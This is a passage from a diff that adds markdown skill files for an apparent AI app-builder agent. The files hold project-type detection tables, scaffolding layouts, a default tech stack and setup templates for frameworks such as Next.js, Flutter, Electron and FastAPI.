+└─────────────────────────────────────────────────────────────┘
+```
+
+## Execution Order
+
+| Phase | Agent(s) | Parallel? | Prerequisite | CHECKPOINT |
+|-------|----------|-----------|--------------|------------|
+| 0 | Socratic Gate | ❌ | - | ✅ Ask 3 questions |
+| 1 | Project Planner | ❌ | Questions answered | ✅ **PLAN.md created** |
+| 1.5 | **PLAN VERIFICATION** | ❌ | PLAN.md exists | ✅ **File exists in root** |
+| 2 | Database Architect | ❌ | Plan ready | Schema defined |
+| 3 | Backend Specialist | ❌ | Schema ready | API routes created |
+| 4 | Frontend Specialist | ✅ | API ready (partial) | UI components ready |
+| 5 | Security Auditor, Test Engineer | ✅ | Code ready | Tests & audit pass |
+| 6 | DevOps Engineer | ❌ | All code ready | Deployment ready |
+
+> 🔴 **CRITICAL:** Phase 1.5 is MANDATORY. No specialist agents proceed without PLAN.md verification.

skills/app-builder/feature-building.md

@@ -0,0 +1,53 @@
+# Feature Building
+
+> How to analyze and implement new features.
+
+## Feature Analysis
+
+```
+Request: "add payment system"
+
+Analysis:
+├── Required Changes:
+│   ├── Database: orders, payments tables
+│   ├── Backend: /api/checkout, /api/webhooks/stripe
+│   ├── Frontend: CheckoutForm, PaymentSuccess
+│   └── Config: Stripe API keys
+│
+├── Dependencies:
+│   ├── stripe package
+│   └── Existing user authentication
+│
+└── Estimated Time: 15-20 minutes
+```
+
+## Iterative Enhancement Process
+
+```
+1. Analyze existing project
+2. Create change plan
+3. Present plan to user
+4. Get approval
+5. Apply changes
+6. Test
+7. Show preview
+```
+
+## Error Handling
+
+| Error Type | Solution Strategy |
+|------------|-------------------|
+| TypeScript Error | Fix type, add missing import |
+| Missing Dependency | Run npm install |
+| Port Conflict | Suggest alternative port |
+| Database Error | Check migration, validate connection |
+
+## Recovery Strategy
+
+```
+1. Detect error
+2. Try automatic fix
+3. If failed, report to user
+4. Suggest alternative
+5. Rollback if necessary
+```

skills/app-builder/project-detection.md

@@ -0,0 +1,34 @@
+# Project Type Detection
+
+> Analyze user requests to determine project type and template.
+
+## Keyword Matrix
+
+| Keywords | Project Type | Template |
+|----------|--------------|----------|
+| blog, post, article | Blog | astro-static |
+| e-commerce, product, cart, payment | E-commerce | nextjs-saas |
+| dashboard, panel, management | Admin Dashboard | nextjs-fullstack |
+| api, backend, service, rest | API Service | express-api |
+| python, fastapi, django | Python API | python-fastapi |
+| mobile, android, ios, react native | Mobile App (RN) | react-native-app |
+| flutter, dart | Mobile App (Flutter) | flutter-app |
+| portfolio, personal, cv | Portfolio | nextjs-static |
+| crm, customer, sales | CRM | nextjs-fullstack |
+| saas, subscription, stripe | SaaS | nextjs-saas |
+| landing, promotional, marketing | Landing Page | nextjs-static |
+| docs, documentation | Documentation | astro-static |
+| extension, plugin, chrome | Browser Extension | chrome-extension |
+| desktop, electron | Desktop App | electron-desktop |
+| cli, command line, terminal | CLI Tool | cli-tool |
+| monorepo, workspace | Monorepo | monorepo-turborepo |
+
+## Detection Process
+
+```
+1. Tokenize user request
+2. Extract keywords
+3. Determine project type
+4. Detect missing information → forward to conversation-manager
+5. Suggest tech stack
+```

skills/app-builder/scaffolding.md

@@ -0,0 +1,118 @@
+# Project Scaffolding
+
+> Directory structure and core files for new projects.
+
+---
+
+## Next.js Full-Stack Structure (2025 Optimized)
+
+```
+project-name/
+├── src/
+│   ├── app/                        # Routes only (thin layer)
+│   │   ├── layout.tsx
+│   │   ├── page.tsx
+│   │   ├── globals.css
+│   │   ├── (auth)/                 # Route group - auth pages
+│   │   │   ├── login/page.tsx
+│   │   │   └── register/page.tsx
+│   │   ├── (dashboard)/            # Route group - dashboard layout
+│   │   │   ├── layout.tsx
+│   │   │   └── page.tsx
+│   │   └── api/
+│   │       └── [resource]/route.ts
+│   │
+│   ├── features/                   # Feature-based modules
+│   │   ├── auth/
+│   │   │   ├── components/
+│   │   │   ├── hooks/
+│   │   │   ├── actions.ts          # Server Actions
+│   │   │   ├── queries.ts          # Data fetching
+│   │   │   └── types.ts
+│   │   ├── products/
+│   │   │   ├── components/
+│   │   │   ├── actions.ts
+│   │   │   └── queries.ts
+│   │   └── cart/
+│   │       └── ...
+│   │
+│   ├── shared/                     # Shared utilities
+│   │   ├── components/ui/          # Reusable UI components
+│   │   ├── lib/                    # Utils, helpers
+│   │   └── hooks/                  # Global hooks
+│   │
+│   └── server/                     # Server-only code
+│       ├── db/                     # Database client (Prisma)
+│       ├── auth/                   # Auth config
+│       └── services/               # External API integrations
+│
+├── prisma/
+│   ├── schema.prisma
+│   ├── migrations/
+│   └── seed.ts
+│
+├── public/
+├── .env.example
+├── .env.local
+├── package.json
+├── tailwind.config.ts
+├── tsconfig.json
+└── README.md
+```
+
+---
+
+## Structure Principles
+
+| Principle | Implementation |
+|-----------|----------------|
+| **Feature isolation** | Each feature in `features/` with its own components, hooks, actions |
+| **Server/Client separation** | Server-only code in `server/`, prevents accidental client imports |
+| **Thin routes** | `app/` only for routing, logic lives in `features/` |
+| **Route groups** | `(groupName)/` for layout sharing without URL impact |
+| **Shared code** | `shared/` for truly reusable UI and utilities |
+
+---
+
+## Core Files
+
+| File | Purpose |
+|------|---------|
+| `package.json` | Dependencies |
+| `tsconfig.json` | TypeScript + path aliases (`@/features/*`) |
+| `tailwind.config.ts` | Tailwind config |
+| `.env.example` | Environment template |
+| `README.md` | Project documentation |
+| `.gitignore` | Git ignore rules |
+| `prisma/schema.prisma` | Database schema |
+
+---
+
+## Path Aliases (tsconfig.json)
+
+```json
+{
+  "compilerOptions": {
+    "paths": {
+      "@/*": ["./src/*"],
+      "@/features/*": ["./src/features/*"],
+      "@/shared/*": ["./src/shared/*"],
+      "@/server/*": ["./src/server/*"]
+    }
+  }
+}
+```
+
+---
+
+## When to Use What
+
+| Need | Location |
+|------|----------|
+| New page/route | `app/(group)/page.tsx` |
+| Feature component | `features/[name]/components/` |
+| Server action | `features/[name]/actions.ts` |
+| Data fetching | `features/[name]/queries.ts` |
+| Reusable button/input | `shared/components/ui/` |
+| Database query | `server/db/` |
+| External API call | `server/services/` |

skills/app-builder/tech-stack.md

@@ -0,0 +1,40 @@
+# Tech Stack Selection (2025)
+
+> Default and alternative technology choices for web applications.
+
+## Default Stack (Web App - 2025)
+
+```yaml
+Frontend:
+  framework: Next.js 16 (Stable)
+  language: TypeScript 5.7+
+  styling: Tailwind CSS v4
+  state: React 19 Actions / Server Components
+  bundler: Turbopack (Stable for Dev)
+
+Backend:
+  runtime: Node.js 23
+  framework: Next.js API Routes / Hono (for Edge)
+  validation: Zod / TypeBox
+
+Database:
+  primary: PostgreSQL
+  orm: Prisma / Drizzle
+  hosting: Supabase / Neon
+
+Auth:
+  provider: Auth.js (v5) / Clerk
+
+Monorepo:
+  tool: Turborepo 2.0
+```
+
+## Alternative Options
+
+| Need | Default | Alternative |
+|------|---------|-------------|
+| Real-time | - | Supabase Realtime, Socket.io |
+| File storage | - | Cloudinary, S3 |
+| Payment | Stripe | LemonSqueezy, Paddle |
+| Email | - | Resend, SendGrid |
+| Search | - | Algolia, Typesense |

skills/app-builder/templates/SKILL.md

@@ -0,0 +1,39 @@
+---
+name: templates
+description: Project scaffolding templates for new applications. Use when creating new projects from scratch. Contains 12 templates for various tech stacks.
+allowed-tools: Read, Glob, Grep
+---
+
+# Project Templates
+
+> Quick-start templates for scaffolding new projects.
+
+---
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY the template matching user's project type!**
+
+| Template | Tech Stack | When to Use |
+|----------|------------|-------------|
+| [nextjs-fullstack](nextjs-fullstack/TEMPLATE.md) | Next.js + Prisma | Full-stack web app |
+| [nextjs-saas](nextjs-saas/TEMPLATE.md) | Next.js + Stripe | SaaS product |
+| [nextjs-static](nextjs-static/TEMPLATE.md) | Next.js + Framer | Landing page |
+| [express-api](express-api/TEMPLATE.md) | Express + JWT | REST API |
+| [python-fastapi](python-fastapi/TEMPLATE.md) | FastAPI | Python API |
+| [react-native-app](react-native-app/TEMPLATE.md) | Expo + Zustand | Mobile app |
+| [flutter-app](flutter-app/TEMPLATE.md) | Flutter + Riverpod | Cross-platform |
+| [electron-desktop](electron-desktop/TEMPLATE.md) | Electron + React | Desktop app |
+| [chrome-extension](chrome-extension/TEMPLATE.md) | Chrome MV3 | Browser extension |
+| [cli-tool](cli-tool/TEMPLATE.md) | Node.js + Commander | CLI app |
+| [monorepo-turborepo](monorepo-turborepo/TEMPLATE.md) | Turborepo + pnpm | Monorepo |
+| [astro-static](astro-static/TEMPLATE.md) | Astro + MDX | Blog / Docs |
+
+---
+
+## Usage
+
+1. User says "create [type] app"
+2. Match to appropriate template
+3. Read ONLY that template's TEMPLATE.md
+4. Follow its tech stack and structure

skills/app-builder/templates/astro-static/TEMPLATE.md

@@ -0,0 +1,76 @@
+---
+name: astro-static
+description: Astro static site template principles. Content-focused websites, blogs, documentation.
+---
+
+# Astro Static Site Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Astro 4.x |
+| Content | MDX + Content Collections |
+| Styling | Tailwind CSS |
+| Integrations | Sitemap, RSS, SEO |
+| Output | Static/SSG |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── src/
+│   ├── components/      # .astro components
+│   ├── content/         # MDX content
+│   │   ├── blog/
+│   │   └── config.ts    # Collection schemas
+│   ├── layouts/         # Page layouts
+│   ├── pages/           # File-based routing
+│   └── styles/
+├── public/              # Static assets
+├── astro.config.mjs
+└── package.json
+```
+
+---
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Content Collections | Type-safe content with Zod schemas |
+| Islands Architecture | Partial hydration for interactivity |
+| Zero JS by default | Static HTML unless needed |
+| MDX Support | Markdown with components |
+
+---
+
+## Setup Steps
+
+1. `npm create astro@latest {{name}}`
+2. Add integrations: `npx astro add mdx tailwind sitemap`
+3. Configure `astro.config.mjs`
+4. Create content collections
+5. `npm run dev`
+
+---
+
+## Deployment
+
+| Platform | Method |
+|----------|--------|
+| Vercel | Auto-detected |
+| Netlify | Auto-detected |
+| Cloudflare Pages | Auto-detected |
+| GitHub Pages | Build + deploy action |
+
+---
+
+## Best Practices
+
+- Use Content Collections for type safety
+- Leverage static generation
+- Add islands only where needed
+- Optimize images with Astro Image

skills/app-builder/templates/chrome-extension/TEMPLATE.md

@@ -0,0 +1,92 @@
+---
+name: chrome-extension
+description: Chrome Extension template principles. Manifest V3, React, TypeScript.
+---
+
+# Chrome Extension Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Manifest | V3 |
+| UI | React 18 |
+| Language | TypeScript |
+| Styling | Tailwind CSS |
+| Bundler | Vite |
+| Storage | Chrome Storage API |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── src/
+│   ├── popup/           # Extension popup
+│   ├── options/         # Options page
+│   ├── background/      # Service worker
+│   ├── content/         # Content scripts
+│   ├── components/
+│   ├── hooks/
+│   └── lib/
+│       ├── storage.ts   # Chrome storage helpers
+│       └── messaging.ts # Message passing
+├── public/
+│   ├── icons/
+│   └── manifest.json
+└── package.json
+```
+
+---
+
+## Manifest V3 Concepts
+
+| Component | Purpose |
+|-----------|---------|
+| Service Worker | Background processing |
+| Content Scripts | Page injection |
+| Popup | User interface |
+| Options Page | Settings |
+
+---
+
+## Permissions
+
+| Permission | Use |
+|------------|-----|
+| storage | Save user data |
+| activeTab | Current tab access |
+| scripting | Inject scripts |
+| host_permissions | Site access |
+
+---
+
+## Setup Steps
+
+1. `npm create vite {{name}} -- --template react-ts`
+2. Add Chrome types: `npm install -D @types/chrome`
+3. Configure Vite for multi-entry
+4. Create manifest.json
+5. `npm run dev` (watch mode)
+6. Load in Chrome: `chrome://extensions` → Load unpacked
+
+---
+
+## Development Tips
+
+| Task | Method |
+|------|--------|
+| Debug Popup | Right-click icon → Inspect |
+| Debug Background | Extensions page → Service worker |
+| Debug Content | DevTools console on page |
+| Hot Reload | `npm run dev` with watch |
+
+---
+
+## Best Practices
+
+- Use type-safe messaging
+- Wrap Chrome APIs in promises
+- Minimize permissions
+- Handle offline gracefully

skills/app-builder/templates/cli-tool/TEMPLATE.md

@@ -0,0 +1,88 @@
+---
+name: cli-tool
+description: Node.js CLI tool template principles. Commander.js, interactive prompts.
+---
+
+# CLI Tool Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Runtime | Node.js 20+ |
+| Language | TypeScript |
+| CLI Framework | Commander.js |
+| Prompts | Inquirer.js |
+| Output | chalk + ora |
+| Config | cosmiconfig |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── src/
+│   ├── index.ts         # Entry point
+│   ├── cli.ts           # CLI setup
+│   ├── commands/        # Command handlers
+│   ├── lib/
+│   │   ├── config.ts    # Config loader
+│   │   └── logger.ts    # Styled output
+│   └── types/
+├── bin/
+│   └── cli.js           # Executable
+└── package.json
+```
+
+---
+
+## CLI Design Principles
+
+| Principle | Description |
+|-----------|-------------|
+| Subcommands | Group related actions |
+| Options | Flags with defaults |
+| Interactive | Prompts when needed |
+| Non-interactive | Support --yes flags |
+
+---
+
+## Key Components
+
+| Component | Purpose |
+|-----------|---------|
+| Commander | Command parsing |
+| Inquirer | Interactive prompts |
+| Chalk | Colored output |
+| Ora | Spinners/loading |
+| Cosmiconfig | Config file discovery |
+
+---
+
+## Setup Steps
+
+1. Create project directory
+2. `npm init -y`
+3. Install deps: `npm install commander @inquirer/prompts chalk ora cosmiconfig`
+4. Configure bin in package.json
+5. `npm link` for local testing
+
+---
+
+## Publishing
+
+```bash
+npm login
+npm publish
+```
+
+---
+
+## Best Practices
+
+- Provide helpful error messages
+- Support both interactive and non-interactive modes
+- Use consistent output styling
+- Validate inputs with Zod
+- Exit with proper codes (0 success, 1 error)

skills/app-builder/templates/electron-desktop/TEMPLATE.md

@@ -0,0 +1,88 @@
+---
+name: electron-desktop
+description: Electron desktop app template principles. Cross-platform, React, TypeScript.
+---
+
+# Electron Desktop App Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Electron 28+ |
+| UI | React 18 |
+| Language | TypeScript |
+| Styling | Tailwind CSS |
+| Bundler | Vite + electron-builder |
+| IPC | Type-safe communication |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── electron/
+│   ├── main.ts          # Main process
+│   ├── preload.ts       # Preload script
+│   └── ipc/             # IPC handlers
+├── src/
+│   ├── App.tsx
+│   ├── components/
+│   │   ├── TitleBar.tsx # Custom title bar
+│   │   └── ...
+│   └── hooks/
+├── public/
+└── package.json
+```
+
+---
+
+## Process Model
+
+| Process | Role |
+|---------|------|
+| Main | Node.js, system access |
+| Renderer | Chromium, React UI |
+| Preload | Bridge, context isolation |
+
+---
+
+## Key Concepts
+
+| Concept | Purpose |
+|---------|---------|
+| contextBridge | Safe API exposure |
+| ipcMain/ipcRenderer | Process communication |
+| nodeIntegration: false | Security |
+| contextIsolation: true | Security |
+
+---
+
+## Setup Steps
+
+1. `npm create vite {{name}} -- --template react-ts`
+2. Install: `npm install -D electron electron-builder vite-plugin-electron`
+3. Create electron/ directory
+4. Configure main process
+5. `npm run electron:dev`
+
+---
+
+## Build Targets
+
+| Platform | Output |
+|----------|--------|
+| Windows | NSIS, Portable |
+| macOS | DMG, ZIP |
+| Linux | AppImage, DEB |
+
+---
+
+## Best Practices
+
+- Use preload script for main/renderer bridge
+- Type-safe IPC with typed handlers
+- Custom title bar for native feel
+- Handle window state (maximize, minimize)
+- Auto-updates with electron-updater

skills/app-builder/templates/express-api/TEMPLATE.md

@@ -0,0 +1,83 @@
+---
+name: express-api
+description: Express.js REST API template principles. TypeScript, Prisma, JWT.
+---
+
+# Express.js API Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Runtime | Node.js 20+ |
+| Framework | Express.js |
+| Language | TypeScript |
+| Database | PostgreSQL + Prisma |
+| Validation | Zod |
+| Auth | JWT + bcrypt |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── prisma/
+│   └── schema.prisma
+├── src/
+│   ├── app.ts           # Express setup
+│   ├── config/          # Environment
+│   ├── routes/          # Route handlers
+│   ├── controllers/     # Business logic
+│   ├── services/        # Data access
+│   ├── middleware/
+│   │   ├── auth.ts      # JWT verify
+│   │   ├── error.ts     # Error handler
+│   │   └── validate.ts  # Zod validation
+│   ├── schemas/         # Zod schemas
+│   └── utils/
+└── package.json
+```
+
+---
+
+## Middleware Stack
+
+| Order | Middleware |
+|-------|------------|
+| 1 | helmet (security) |
+| 2 | cors |
+| 3 | morgan (logging) |
+| 4 | body parsing |
+| 5 | routes |
+| 6 | error handler |
+
+---
+
+## API Response Format
+
+| Type | Structure |
+|------|-----------|
+| Success | `{ success: true, data: {...} }` |
+| Error | `{ error: "message", details: [...] }` |
+
+---
+
+## Setup Steps
+
+1. Create project directory
+2. `npm init -y`
+3. Install deps: `npm install express prisma zod bcrypt jsonwebtoken`
+4. Configure Prisma
+5. `npm run db:push`
+6. `npm run dev`
+
+---
+
+## Best Practices
+
+- Layer architecture (routes → controllers → services)
+- Validate all inputs with Zod
+- Centralized error handling
+- Environment-based config
+- Use Prisma for type-safe DB access

skills/app-builder/templates/flutter-app/TEMPLATE.md

@@ -0,0 +1,90 @@
+---
+name: flutter-app
+description: Flutter mobile app template principles. Riverpod, Go Router, clean architecture.
+---
+
+# Flutter App Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Flutter 3.x |
+| Language | Dart 3.x |
+| State | Riverpod 2.0 |
+| Navigation | Go Router |
+| HTTP | Dio |
+| Storage | Hive |
+
+---
+
+## Directory Structure
+
+```
+project_name/
+├── lib/
+│   ├── main.dart
+│   ├── app.dart
+│   ├── core/
+│   │   ├── constants/
+│   │   ├── theme/
+│   │   ├── router/
+│   │   └── utils/
+│   ├── features/
+│   │   ├── auth/
+│   │   │   ├── data/
+│   │   │   ├── domain/
+│   │   │   └── presentation/
+│   │   └── home/
+│   ├── shared/
+│   │   ├── widgets/
+│   │   └── providers/
+│   └── services/
+│       ├── api/
+│       └── storage/
+├── test/
+└── pubspec.yaml
+```
+
+---
+
+## Architecture Layers
+
+| Layer | Contents |
+|-------|----------|
+| Presentation | Screens, Widgets, Providers |
+| Domain | Entities, Use Cases |
+| Data | Repositories, Models |
+
+---
+
+## Key Packages
+
+| Package | Purpose |
+|---------|---------|
+| flutter_riverpod | State management |
+| riverpod_annotation | Code generation |
+| go_router | Navigation |
+| dio | HTTP client |
+| freezed | Immutable models |
+| hive | Local storage |
+
+---
+
+## Setup Steps
+
+1. `flutter create {{name}} --org com.{{bundle}}`
+2. Update `pubspec.yaml`
+3. `flutter pub get`
+4. Run code generation: `dart run build_runner build`
+5. `flutter run`
+
+---
+
+## Best Practices
+
+- Feature-first folder structure
+- Riverpod for state, React Query pattern for server state
+- Freezed for immutable data classes
+- Go Router for declarative navigation
+- Material 3 theming

skills/app-builder/templates/monorepo-turborepo/TEMPLATE.md

@@ -0,0 +1,90 @@
+---
+name: monorepo-turborepo
+description: Turborepo monorepo template principles. pnpm workspaces, shared packages.
+---
+
+# Turborepo Monorepo Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Build System | Turborepo |
+| Package Manager | pnpm |
+| Apps | Next.js, Express |
+| Packages | Shared UI, Config, Types |
+| Language | TypeScript |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── apps/
+│   ├── web/             # Next.js app
+│   ├── api/             # Express API
+│   └── docs/            # Documentation
+├── packages/
+│   ├── ui/              # Shared components
+│   ├── config/          # ESLint, TS, Tailwind
+│   ├── types/           # Shared types
+│   └── utils/           # Shared utilities
+├── turbo.json
+├── pnpm-workspace.yaml
+└── package.json
+```
+
+---
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Workspaces | pnpm-workspace.yaml |
+| Pipeline | turbo.json task graph |
+| Caching | Remote/local task caching |
+| Dependencies | `workspace:*` protocol |
+
+---
+
+## Turbo Pipeline
+
+| Task | Depends On |
+|------|------------|
+| build | ^build (dependencies first) |
+| dev | cache: false, persistent |
+| lint | ^build |
+| test | ^build |
+
+---
+
+## Setup Steps
+
+1. Create root directory
+2. `pnpm init`
+3. Create pnpm-workspace.yaml
+4. Create turbo.json
+5. Add apps and packages
+6. `pnpm install`
+7. `pnpm dev`
+
+---
+
+## Common Commands
+
+| Command | Description |
+|---------|-------------|
+| `pnpm dev` | Run all apps |
+| `pnpm build` | Build all |
+| `pnpm --filter @name/web dev` | Run specific app |
+| `pnpm --filter @name/web add axios` | Add dep to app |
+
+---
+
+## Best Practices
+
+- Shared configs in packages/config
+- Shared types in packages/types
+- Internal packages with `workspace:*`
+- Use Turbo remote caching for CI

skills/app-builder/templates/nextjs-fullstack/TEMPLATE.md

@@ -0,0 +1,82 @@
+---
+name: nextjs-fullstack
+description: Next.js full-stack template principles. App Router, Prisma, Tailwind.
+---
+
+# Next.js Full-Stack Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Next.js 14 (App Router) |
+| Language | TypeScript |
+| Database | PostgreSQL + Prisma |
+| Styling | Tailwind CSS |
+| Auth | Clerk (optional) |
+| Validation | Zod |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── prisma/
+│   └── schema.prisma
+├── src/
+│   ├── app/
+│   │   ├── layout.tsx
+│   │   ├── page.tsx
+│   │   ├── globals.css
+│   │   └── api/
+│   ├── components/
+│   │   └── ui/
+│   ├── lib/
+│   │   ├── db.ts        # Prisma client
+│   │   └── utils.ts
+│   └── types/
+├── .env.example
+└── package.json
+```
+
+---
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Server Components | Default, fetch data |
+| Server Actions | Form mutations |
+| Route Handlers | API endpoints |
+| Prisma | Type-safe ORM |
+
+---
+
+## Environment Variables
+
+| Variable | Purpose |
+|----------|---------|
+| DATABASE_URL | Prisma connection |
+| NEXT_PUBLIC_APP_URL | Public URL |
+
+---
+
+## Setup Steps
+
+1. `npx create-next-app {{name}} --typescript --tailwind --app`
+2. `npm install prisma @prisma/client zod`
+3. `npx prisma init`
+4. Configure schema
+5. `npm run db:push`
+6. `npm run dev`
+
+---
+
+## Best Practices
+
+- Server Components by default
+- Server Actions for mutations
+- Prisma for type-safe DB
+- Zod for validation
+- Edge runtime where possible

skills/app-builder/templates/nextjs-saas/TEMPLATE.md

@@ -0,0 +1,100 @@
+---
+name: nextjs-saas
+description: Next.js SaaS template principles. Auth, payments, email.
+---
+
+# Next.js SaaS Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Next.js 14 (App Router) |
+| Auth | NextAuth.js v5 |
+| Payments | Stripe |
+| Database | PostgreSQL + Prisma |
+| Email | Resend |
+| UI | Tailwind (ASK USER: shadcn/Headless UI/Custom?) |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── prisma/
+├── src/
+│   ├── app/
+│   │   ├── (auth)/      # Login, register
+│   │   ├── (dashboard)/ # Protected routes
+│   │   ├── (marketing)/ # Landing, pricing
+│   │   └── api/
+│   │       ├── auth/[...nextauth]/
+│   │       └── webhooks/stripe/
+│   ├── components/
+│   │   ├── auth/
+│   │   ├── billing/
+│   │   └── dashboard/
+│   ├── lib/
+│   │   ├── auth.ts      # NextAuth config
+│   │   ├── stripe.ts    # Stripe client
+│   │   └── email.ts     # Resend client
+│   └── config/
+│       └── subscriptions.ts
+└── package.json
+```
+
+---
+
+## SaaS Features
+
+| Feature | Implementation |
+|---------|---------------|
+| Auth | NextAuth + OAuth |
+| Subscriptions | Stripe Checkout |
+| Billing Portal | Stripe Portal |
+| Webhooks | Stripe events |
+| Email | Transactional via Resend |
+
+---
+
+## Database Schema
+
+| Model | Fields |
+|-------|--------|
+| User | id, email, stripeCustomerId, subscriptionId |
+| Account | OAuth provider data |
+| Session | User sessions |
+
+---
+
+## Environment Variables
+
+| Variable | Purpose |
+|----------|---------|
+| DATABASE_URL | Prisma |
+| NEXTAUTH_SECRET | Auth |
+| STRIPE_SECRET_KEY | Payments |
+| STRIPE_WEBHOOK_SECRET | Webhooks |
+| RESEND_API_KEY | Email |
+
+---
+
+## Setup Steps
+
+1. `npx create-next-app {{name}} --typescript --tailwind --app`
+2. Install: `npm install next-auth @auth/prisma-adapter stripe resend`
+3. Setup Stripe products/prices
+4. Configure environment
+5. `npm run db:push`
+6. `npm run stripe:listen` (webhooks)
+7. `npm run dev`
+
+---
+
+## Best Practices
+
+- Route groups for layout separation
+- Stripe webhooks for subscription sync
+- NextAuth with Prisma adapter
+- Email templates with React Email

skills/app-builder/templates/nextjs-static/TEMPLATE.md

@@ -0,0 +1,106 @@
+---
+name: nextjs-static
+description: Next.js static site template principles. Landing pages, portfolios, marketing.
+---
+
+# Next.js Static Site Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Next.js 14 (Static Export) |
+| Language | TypeScript |
+| Styling | Tailwind CSS |
+| Animations | Framer Motion |
+| Icons | Lucide React |
+| SEO | Next SEO |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── src/
+│   ├── app/
+│   │   ├── layout.tsx
+│   │   ├── page.tsx      # Landing
+│   │   ├── about/
+│   │   ├── contact/
+│   │   └── blog/
+│   ├── components/
+│   │   ├── layout/       # Header, Footer
+│   │   ├── sections/     # Hero, Features, CTA
+│   │   └── ui/
+│   └── lib/
+├── content/              # Markdown content
+├── public/
+└── next.config.js
+```
+
+---
+
+## Static Export Config
+
+```javascript
+// next.config.js
+const nextConfig = {
+  output: 'export',
+  images: { unoptimized: true },
+  trailingSlash: true,
+};
+```
+
+---
+
+## Landing Page Sections
+
+| Section | Purpose |
+|---------|---------|
+| Hero | Main headline, CTA |
+| Features | Product benefits |
+| Testimonials | Social proof |
+| Pricing | Plans |
+| CTA | Final conversion |
+
+---
+
+## Animation Patterns
+
+| Pattern | Use |
+|---------|-----|
+| Fade up | Content entry |
+| Stagger | List items |
+| Scroll reveal | On viewport |
+| Hover | Interactive feedback |
+
+---
+
+## Setup Steps
+
+1. `npx create-next-app {{name}} --typescript --tailwind --app`
+2. Install: `npm install framer-motion lucide-react next-seo`
+3. Configure static export
+4. Create sections
+5. `npm run dev`
+
+---
+
+## Deployment
+
+| Platform | Method |
+|----------|--------|
+| Vercel | Auto |
+| Netlify | Auto |
+| GitHub Pages | gh-pages branch |
+| Any host | Upload `out` folder |
+
+---
+
+## Best Practices
+
+- Static export for maximum performance
+- Framer Motion for premium animations
+- Responsive mobile-first design
+- SEO metadata on every page

skills/app-builder/templates/nuxt-app/TEMPLATE.md

@@ -0,0 +1,101 @@
+---
+name: nuxt-app
+description: Nuxt 3 full-stack template. Vue 3, Pinia, Tailwind, Prisma.
+---
+
+# Nuxt 3 Full-Stack Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Nuxt 3 |
+| Language | TypeScript |
+| UI | Vue 3 (Composition API) |
+| State | Pinia |
+| Database | PostgreSQL + Prisma |
+| Styling | Tailwind CSS |
+| Validation | Zod |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── prisma/
+│   └── schema.prisma
+├── server/
+│   ├── api/
+│   │   └── [resource]/
+│   │       └── index.ts
+│   └── utils/
+│       └── db.ts         # Prisma client
+├── composables/
+│   └── useAuth.ts
+├── stores/
+│   └── user.ts           # Pinia store
+├── components/
+│   └── ui/
+├── pages/
+│   ├── index.vue
+│   └── [...slug].vue
+├── layouts/
+│   └── default.vue
+├── assets/
+│   └── css/
+│       └── main.css
+├── .env.example
+├── nuxt.config.ts
+└── package.json
+```
+
+---
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Auto-imports | Components, composables, utils |
+| File-based routing | pages/ → routes |
+| Server Routes | server/api/ → API endpoints |
+| Composables | Reusable reactive logic |
+| Pinia | State management |
+
+---
+
+## Environment Variables
+
+| Variable | Purpose |
+|----------|---------|
+| DATABASE_URL | Prisma connection |
+| NUXT_PUBLIC_APP_URL | Public URL |
+
+---
+
+## Setup Steps
+
+1. `npx nuxi@latest init {{name}}`
+2. `cd {{name}}`
+3. `npm install @pinia/nuxt @prisma/client prisma zod`
+4. `npm install -D @nuxtjs/tailwindcss`
+5. Add modules to `nuxt.config.ts`:
+   ```ts
+   modules: ['@pinia/nuxt', '@nuxtjs/tailwindcss']
+   ```
+6. `npx prisma init`
+7. Configure schema
+8. `npx prisma db push`
+9. `npm run dev`
+
+---
+
+## Best Practices
+
+- Use `<script setup>` for components
+- Composables for reusable logic
+- Pinia stores in `stores/` folder
+- Server routes for API logic
+- Auto-import for clean code
+- TypeScript for type safety
+- See `@[skills/vue-expert]` for Vue patterns

skills/app-builder/templates/python-fastapi/TEMPLATE.md

@@ -0,0 +1,83 @@
+---
+name: python-fastapi
+description: FastAPI REST API template principles. SQLAlchemy, Pydantic, Alembic.
+---
+
+# FastAPI API Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | FastAPI |
+| Language | Python 3.11+ |
+| ORM | SQLAlchemy 2.0 |
+| Validation | Pydantic v2 |
+| Migrations | Alembic |
+| Auth | JWT + passlib |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── alembic/             # Migrations
+├── app/
+│   ├── main.py          # FastAPI app
+│   ├── config.py        # Settings
+│   ├── database.py      # DB connection
+│   ├── models/          # SQLAlchemy models
+│   ├── schemas/         # Pydantic schemas
+│   ├── routers/         # API routes
+│   ├── services/        # Business logic
+│   ├── dependencies/    # DI
+│   └── utils/
+├── tests/
+├── .env.example
+└── requirements.txt
+```
+
+---
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Async | async/await throughout |
+| Dependency Injection | FastAPI Depends |
+| Pydantic v2 | Validation + serialization |
